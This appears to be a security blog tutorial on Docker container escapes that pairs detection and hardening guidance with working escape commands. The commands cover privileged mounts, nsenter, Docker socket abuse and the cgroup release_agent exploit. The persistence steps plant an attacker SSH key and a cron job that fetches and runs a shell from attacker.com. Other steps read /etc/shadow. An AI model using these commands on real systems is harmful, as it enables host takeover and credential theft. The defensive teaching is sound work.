A Docker container escape is when a process inside a container breaks the isolation boundary and gains access to the host operating system, usually as root, through a misconfiguration (privileged mode, a mounted Docker socket, sensitive host mounts) or a runtime or kernel vulnerability. MITRE ATT&CK tracks it as T1611, Escape to Host.
Containers are not virtual machines. This is one of the most consequential misunderstandings in modern infrastructure security. Where a virtual machine has a full hypervisor isolation layer separating guest and host kernels, a container shares the host kernel directly. The isolation that makes containers lightweight - Linux namespaces and cgroups - is also what makes them escapable when misconfigured or when vulnerabilities are present.
This post examines how container isolation works at the kernel level, walks through the primary escape vectors with working demonstrations, covers real CVEs that enabled escapes, and provides a concrete detection and hardening framework.
Container escape cheat sheet

| Technique | Precondition | Detection signal | Mitigation |
|---|---|---|---|
| Privileged container | --privileged or privileged: true | Privileged container started; host devices or nsenter used inside a container | Never run privileged in production; enforce Pod Security restricted |
| Docker socket mount | /var/run/docker.sock mounted into the container | Container connects to the Docker socket; new containers created from inside a container | Don’t mount the socket; use rootless builders such as BuildKit or Kaniko |
| Sensitive host mounts | hostPath of /, /proc, /var/run or /etc | Pods with hostPath volumes; writes to host paths from containers | Block hostPath in admission policy; mount read-only where unavoidable |
| Dangerous capabilities | CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_SYS_MODULE | Containers launched with added capabilities; mount, unshare, ptrace inside containers | --cap-drop ALL, add back only what the app needs; no-new-privileges |
cgroup v1 release_agent | CVE-2022-0492, needs CAP_SYS_ADMIN and no seccomp or AppArmor/SELinux | Writes to a release_agent file from a container | Patched kernel, cgroup v2, seccomp plus AppArmor or SELinux |
| Runtime and kernel CVEs | Unpatched runc or kernel (CVE-2019-5736, CVE-2024-21626, 2025 runc CVEs) | Unexpected writes to runtime binaries; containers with a working directory outside their root | Patch runc and the kernel; trusted, scanned images |
How Container Isolation Works
A container is, at its core, a process (or group of processes) on the host with a restricted view of the system. That restriction is implemented through three kernel mechanisms:
Linux Namespaces
Namespaces partition global system resources so that each container sees its own isolated instance:
| Namespace | Isolates |
|---|---|
pid | Process IDs - container processes cannot see host processes |
net | Network interfaces, routing tables, iptables rules |
mnt | Filesystem mount points |
uts | Hostname and domain name |
ipc | System V IPC, POSIX message queues |
user | User and group IDs (remapped) |
cgroup | Cgroup root directory (added in kernel 4.6) |
A container escape fundamentally involves gaining access to the host’s root namespace - the namespace context shared by all host processes.
Control Groups (cgroups)
Cgroups limit resource consumption (CPU, memory, disk I/O, network) for process groups. They do not provide security isolation but they are critical for container functionality.
Linux Capabilities
Root on Linux is not monolithic. The kernel divides root’s traditional privileges into discrete capabilities: CAP_NET_BIND_SERVICE, CAP_SYS_ADMIN, CAP_CHOWN, etc. Docker drops many capabilities by default but retains a set sufficient for typical application use. The key attack surface: any capability that enables interaction with the host kernel in dangerous ways.
Escape Vector 1: Privileged Container
The most common and straightforward escape path is a container run with --privileged or with privileged: true in its Kubernetes pod spec.
Attack Flow
- Attacker gains code execution inside a privileged container (RCE via web app vulnerability, supply chain attack on container image, etc.)
- Container process can access all host devices via
/dev - Attacker mounts the host filesystem by identifying and mounting the host’s root disk
1# Step 1: Confirm we're in a privileged container
2cat /proc/1/status | grep CapEff
3# CapEff: 0000003fffffffff (all capabilities enabled = privileged)
4
5# Step 2: Identify the host disk device
6fdisk -l 2>/dev/null | grep "^Disk /dev/sd"
7# or: lsblk
8
9# Step 3: Mount host root filesystem
10mkdir /tmp/hostfs
11mount /dev/sda1 /tmp/hostfs
12
13# Step 4: Chroot into host filesystem for full interactive access
14chroot /tmp/hostfs /bin/bash
15
16# Now we have a root shell on the host filesystem
17cat /etc/shadow
18ls /root/
19crontab -l # read host cron jobs
20
21# Step 5: Persistence: add SSH key to host root
22mkdir -p /tmp/hostfs/root/.ssh
23echo "ssh-rsa AAAA...attacker_key..." >> /tmp/hostfs/root/.ssh/authorized_keys
24
25# Or write a host-level cron job
26echo "* * * * * root curl http://attacker.com/shell | bash" >> /tmp/hostfs/etc/crontab
Alternative: Privileged + nsenter
1# Use nsenter to enter host namespaces directly
2# PID 1 on the host is visible from a privileged container
3nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
4
5# This drops you into a bash shell in ALL host namespaces
6# Equivalent to running bash directly on the host
7hostname # shows host hostname, not container hostname
8ps aux # shows all host processes
Escape Vector 2: Docker Socket Mount
When /var/run/docker.sock is mounted inside a container, any process in that container can talk to the Docker daemon - which runs as root on the host with full container management authority.
This is extremely common in CI/CD pipelines (Jenkins, GitLab Runner, Drone) that mount the Docker socket to enable “Docker-in-Docker” builds.
Attack Flow
- Attacker gains code execution inside a container with
/var/run/docker.sockmounted - Docker CLI (or HTTP API via curl/python) is used to create a new container
- The new container is started with privileged mode and the host filesystem mounted
- Attacker executes commands in the new container to interact with the host
1# Step 1: Verify Docker socket is available
2ls -la /var/run/docker.sock
3# srw-rw---- 1 root docker /var/run/docker.sock
4
5# Step 2: If Docker CLI is not available, use curl with Unix socket
6curl --unix-socket /var/run/docker.sock http://localhost/version
7
8# Step 3a: Docker CLI approach: spawn privileged container with host fs
9docker run -v /:/hostfs -it --privileged alpine chroot /hostfs /bin/bash
10
11# Step 3b: API approach using curl (no docker CLI required)
12# Create container
13curl --unix-socket /var/run/docker.sock \
14 -H "Content-Type: application/json" \
15 -d '{
16 "Image": "alpine",
17 "Cmd": ["/bin/sh", "-c", "chroot /hostfs cat /etc/shadow"],
18 "HostConfig": {
19 "Binds": ["/:/hostfs:rw"],
20 "Privileged": true
21 }
22 }' \
23 -X POST http://localhost/containers/create?name=escape
24
25# Start the container and get output
26curl --unix-socket /var/run/docker.sock \
27 -X POST http://localhost/containers/escape/start
Escape Vector 3: CVE-2019-5736 (runc Binary Overwrite)
CVE-2019-5736, discovered by Adam Iwaniuk and Borys Popławski, allowed a malicious container to overwrite the host runc binary and achieve code execution as root on the host.
Affected versions: runc through 1.0-rc6; fixed in Docker 18.09.2 and later runc releases
Vulnerability mechanism: During docker exec, runc opens /proc/self/exe (which points to the runc binary on the host) via a symlink in the container filesystem. By controlling when and how this symlink resolves, the container can write to the host runc binary while it is being executed.
Conceptual Attack Flow
- Attacker creates a malicious container image with a custom init binary that replaces itself with a symlink to
/proc/self/exeat the right moment - When
docker execis invoked on the container, runc opens the symlink - The container replaces the symlink target with a write-open to
/proc/self/exe - The container writes a malicious payload over the runc binary on the host
- On the next container exec, the malicious binary runs as root on the host
1# Detection: check runc version
2runc --version
3# Any current release is far past the 2019 fix; for the 2025 CVEs you need 1.2.8, 1.3.3 or 1.4.0-rc.3 or later
4
5# Check Docker version (includes runc version)
6docker version | grep -A5 "Server:"
7
8# Verify runc binary integrity
9sha256sum $(which runc)
10# Compare against known-good hash from distribution vendor
Patch released: February 11, 2019. CVSS: 8.6.
Escape Vector 4: CVE-2022-0492 (cgroup v1 release_agent)
This vulnerability abused the release_agent feature in cgroup v1. When a cgroup becomes empty (all processes exit), the kernel executes the script specified in release_agent as root in the host namespace.
Conditions required for exploitation:
- The process needs
CAP_SYS_ADMIN, either granted to the container or obtained by creating a new user namespace (which requires unprivileged user namespaces to be allowed) - cgroup v1 must be in use (not cgroup v2)
- The container must not be confined by seccomp plus AppArmor or SELinux; Unit 42 found those default profiles were enough to block the escape
1# Step 1: Check if cgroup v1 is available and we can mount it
2cat /proc/1/cgroup | head -5
3# If output shows legacy cgroup paths (e.g., /sys/fs/cgroup/memory), cgroup v1 is active
4
5# Step 2: Create a new cgroup hierarchy with a release_agent
6mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
7mkdir /tmp/cgrp/x
8
9# Step 3: Set up the release_agent to write host root access
10echo 1 > /tmp/cgrp/x/notify_on_release
11host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
12echo "$host_path/exploit" > /tmp/cgrp/release_agent
13
14# Step 4: Write the payload that runs on the host
15cat > /exploit << 'EOF'
16#!/bin/sh
17ps aux > /output
18chmod 777 /output
19EOF
20chmod a+x /exploit
21
22# Step 5: Trigger cgroup empty notification by starting and killing a process
23sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs && exit"
24
25# Step 6: Read the output file that was written by the host-level release_agent
26cat /output # Contains host process listing
Patch released: February 2022, kernel 5.17-rc3. CVSS: 7.8.
Newer runc Escapes: Leaky Vessels (2024) and the 2025 Breakouts
Runtime bugs did not stop in 2019. Two later rounds matter for anyone patching hosts today.
| CVE | Year | What went wrong | Fixed in |
|---|---|---|---|
| CVE-2024-21626 (“Leaky Vessels”) | January 2024 | runc leaked an internal file descriptor, so a container process could start with its working directory on the host filesystem | runc 1.1.12 |
| CVE-2025-31133 | November 2025 | Race in how runc masks sensitive paths with /dev/null | runc 1.2.8, 1.3.3, 1.4.0-rc.3 |
| CVE-2025-52565 | November 2025 | Race in the /dev/console bind mount during container setup | runc 1.2.8, 1.3.3, 1.4.0-rc.3 |
| CVE-2025-52881 | November 2025 | Writes to procfs could be redirected, bypassing LSM protections | runc 1.2.8, 1.3.3, 1.4.0-rc.3 |
The 2025 issues can be chained, and the most realistic trigger is a malicious image or Dockerfile, so image provenance matters as much as patching. Check what your nodes actually run: runc --version, and for Kubernetes nodes the runtime version reported by kubectl get nodes -o wide. Distribution packages often backport fixes, so compare against your vendor’s advisory rather than the upstream version number alone.
Real Incident: Docker Daemon Exposed Over TCP
In 2019, multiple cryptocurrency mining campaigns (tracked by Palo Alto Unit 42 and Aqua Security) exploited Docker daemons that had been configured to listen on TCP port 2375 without TLS authentication - a configuration explicitly warned against in Docker documentation but commonly found in development environments.
Attack pattern:
- Masscan/Shodan enumeration for port 2375 open on the internet
- Connection to unauthenticated Docker API:
curl http://target:2375/containers/json - Deploy a new container with host
/mounted - Install cryptocurrency miner (XMRig) as a persistent host process via cron or systemd
Aqua Security estimated over 400 honeypot hits per day at the peak of these campaigns in 2019. Similar attacks targeting exposed Kubernetes API servers ran in parallel.
Detection with Falco
Falco is the most widely used open-source runtime detector for containers. It watches system calls through eBPF (or a kernel module) and ships rules for several escape signals. By default Falco loads only its stable rules, which include Detect release_agent File Container Escapes; more rules live in the incubating and sandbox rule sets, which you enable deliberately. Check the Falco rules overview for the rules and maturity levels in your version.
These custom rules cover the three most common paths. Treat them as a starting point and test them in your environment before you alert on them.
1# /etc/falco/rules.d/container-escape.yaml
2
3- rule: Privileged Container Started
4 desc: A container was started in privileged mode
5 condition: container_started and container and container.privileged = true
6 output: >
7 Privileged container started (image=%container.image.repository
8 container=%container.name id=%container.id)
9 priority: WARNING
10 tags: [container, T1611]
11
12- rule: Docker Socket Connection From Container
13 desc: A process inside a container connected to the Docker daemon socket
14 condition: >
15 evt.type = connect and evt.dir = < and container
16 and fd.typechar = u and fd.name contains "docker.sock"
17 output: >
18 Docker socket used from container (command=%proc.cmdline
19 container=%container.name image=%container.image.repository)
20 priority: CRITICAL
21 tags: [container, T1611, T1610]
22
23- rule: Namespace Tool Run In Container
24 desc: nsenter or unshare executed inside a container
25 condition: spawned_process and container and proc.name in (nsenter, unshare)
26 output: >
27 Namespace tool in container (command=%proc.cmdline container=%container.name)
28 priority: CRITICAL
29 tags: [container, T1611]
The socket rule uses connect rather than open, because tools talk to the Docker daemon over a Unix socket connection; a rule that watches for file opens on docker.sock misses API calls.
Audit Log Monitoring
1# Kubernetes audit log: detect privileged pod creation
2# Query audit logs for pods with privileged security context
3cat /var/log/kubernetes/audit.log | \
4 python3 -c "
5import sys, json
6for line in sys.stdin:
7 try:
8 event = json.loads(line)
9 if event.get('verb') in ['create', 'update'] and \
10 event.get('objectRef', {}).get('resource') == 'pods':
11 spec = event.get('requestObject', {}).get('spec', {})
12 for container in spec.get('containers', []):
13 sc = container.get('securityContext', {})
14 if sc.get('privileged'):
15 print(f\"ALERT: Privileged pod: {event.get('objectRef',{}).get('name')} by {event.get('user',{}).get('username')}\")
16 except:
17 pass
18"
19
20# Check Docker daemon audit logs (if auditd is configured)
21ausearch -k docker --interpret | grep -E "privileged|/var/run/docker.sock"
Defense and Hardening
Control 1: Rootless Docker
1# Install rootless Docker (requires uidmap package)
2dockerd-rootless-setuptool.sh install
3
4# Verify rootless operation
5docker info | grep "rootless"
6# Should show: rootless: true
7
8# Add to environment
9export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock
Control 2: Seccomp Profiles
Seccomp (Secure Computing Mode) restricts which syscalls a container process can make. The default Docker seccomp profile blocks ~44 syscalls. Apply stricter profiles:
1# Apply the default seccomp profile explicitly
2docker run --security-opt seccomp=/etc/docker/seccomp-default.json myapp
3
4# Use a custom profile that additionally blocks mount
5cat > /etc/docker/seccomp-restricted.json << 'EOF'
6{
7 "defaultAction": "SCMP_ACT_ERRNO",
8 "syscalls": [
9 {
10 "names": ["mount", "umount2", "pivot_root", "clone"],
11 "action": "SCMP_ACT_ERRNO"
12 }
13 ]
14}
15EOF
Control 3: AppArmor / SELinux
1# Verify AppArmor is active for Docker
2docker info | grep -i apparmor
3# Should show: Security Options: apparmor
4
5# Apply a custom AppArmor profile
6cat > /etc/apparmor.d/docker-no-escape << 'EOF'
7#include <tunables/global>
8profile docker-no-escape flags=(attach_disconnected,mediate_deleted) {
9 #include <abstractions/base>
10 deny mount,
11 deny /proc/sysrq-trigger rwklx,
12 deny /proc/mem rwklx,
13 deny /proc/kcore rwklx,
14 deny /sys/** wklx,
15}
16EOF
17apparmor_parser -r /etc/apparmor.d/docker-no-escape
18docker run --security-opt apparmor=docker-no-escape myapp
Control 4: Drop Capabilities and Read-Only Root Filesystem
1# Run with minimal capabilities and read-only filesystem
2docker run \
3 --cap-drop ALL \
4 --cap-add NET_BIND_SERVICE \
5 --read-only \
6 --tmpfs /tmp \
7 --security-opt no-new-privileges \
8 myapp
9
10# Equivalent Kubernetes pod spec
11cat << 'EOF'
12securityContext:
13 runAsNonRoot: true
14 runAsUser: 1000
15 allowPrivilegeEscalation: false
16 readOnlyRootFilesystem: true
17 capabilities:
18 drop:
19 - ALL
20 add:
21 - NET_BIND_SERVICE
22EOF
Control 5: OPA Gatekeeper Policy
1# Gatekeeper ConstraintTemplate to block privileged containers
2apiVersion: templates.gatekeeper.sh/v1beta1
3kind: ConstraintTemplate
4metadata:
5 name: k8spspprivilegedcontainer
6spec:
7 crd:
8 spec:
9 names:
10 kind: K8sPSPPrivilegedContainer
11 targets:
12 - target: admission.k8s.gatekeeper.sh
13 rego: |
14 package k8spspprivilegedcontainer
15 violation[{"msg": msg}] {
16 container := input.review.object.spec.containers[_]
17 container.securityContext.privileged == true
18 msg := sprintf("Container %v must not run as privileged", [container.name])
19 }
20---
21apiVersion: constraints.gatekeeper.sh/v1beta1
22kind: K8sPSPPrivilegedContainer
23metadata:
24 name: psp-privileged-container
25spec:
26 match:
27 kinds:
28 - apiGroups: [""]
29 kinds: ["Pod"]
Control 6: Kubernetes Pod Security Standards
Pod Security Admission is built into Kubernetes and enforces the Pod Security Standards per namespace. The restricted level rejects privileged pods, host namespaces (hostPID, hostNetwork, hostIPC), hostPath volumes, added capabilities and running as root.
1apiVersion: v1
2kind: Namespace
3metadata:
4 name: payments
5 labels:
6 pod-security.kubernetes.io/enforce: restricted
7 pod-security.kubernetes.io/warn: restricted
8 pod-security.kubernetes.io/audit: restricted
Start with warn and audit on existing namespaces to see what would break, then switch on enforce. For CI runners that genuinely need elevated access, isolate them on dedicated nodes rather than relaxing the policy cluster-wide. See Kubernetes RBAC misconfiguration for the API-side half of the same problem.
Container Escape Hardening Checklist

- No privileged containers in production; exceptions documented and isolated on dedicated nodes
- Docker socket never mounted into application or CI containers
-
hostPath,hostPID,hostNetworkandhostIPCblocked by admission policy - Containers run as non-root with
--cap-drop ALLandno-new-privileges - Default seccomp profile applied (Kubernetes:
seccompProfile: RuntimeDefault), plus AppArmor or SELinux - Nodes on cgroup v2, a supported kernel, and runc 1.2.8, 1.3.3 or later (or your vendor’s patched build)
- Docker daemon never exposed on TCP 2375 without TLS
- Images from trusted registries, scanned and ideally signed
- Runtime detection (Falco or EDR) on every node, with alerts mapped to T1611
- Kubernetes audit logging enabled and reviewed for privileged pod creation
MITRE ATT&CK Mapping
- T1611 - Escape to Host: Adversaries may break out of a container to gain access to the host operating system.
- T1610 - Deploy Container: Deploy a malicious container into a compromised environment to facilitate escape.
- T1552.007 - Unsecured Credentials: Container API: Query container or orchestration APIs (Docker, Kubernetes) to collect credentials and secrets.
Related Attacks in This Series
- Kubernetes RBAC Misconfiguration: Privilege Escalation
- Cloud Account Takeover: Leaked AWS Keys and Crypto Mining
- Serverless Injection: Attacking Lambda Through Event Data
- S3 Bucket Breach: Misconfigured Permissions and Data Leaks
References
- CVE-2019-5736 - runc Container Escape
- CVE-2022-0492 - Linux Kernel cgroup v1 Escape
- MITRE ATT&CK T1611 - Escape to Host
- Falco - Container Runtime Security
- Falco rules overview and maturity levels
- Unit 42 - CVE-2022-0492 cgroups container escape
- CVE-2024-21626 - runc Leaky Vessels
- CNCF - runc container breakout vulnerabilities (November 2025)
- Kubernetes Pod Security Standards
- Docker Security Documentation - Seccomp
- Aqua Security - Docker TCP Exposure Research
- Palo Alto Unit 42 - Exposed Docker Daemons
- NSA/CISA Kubernetes Hardening Guide



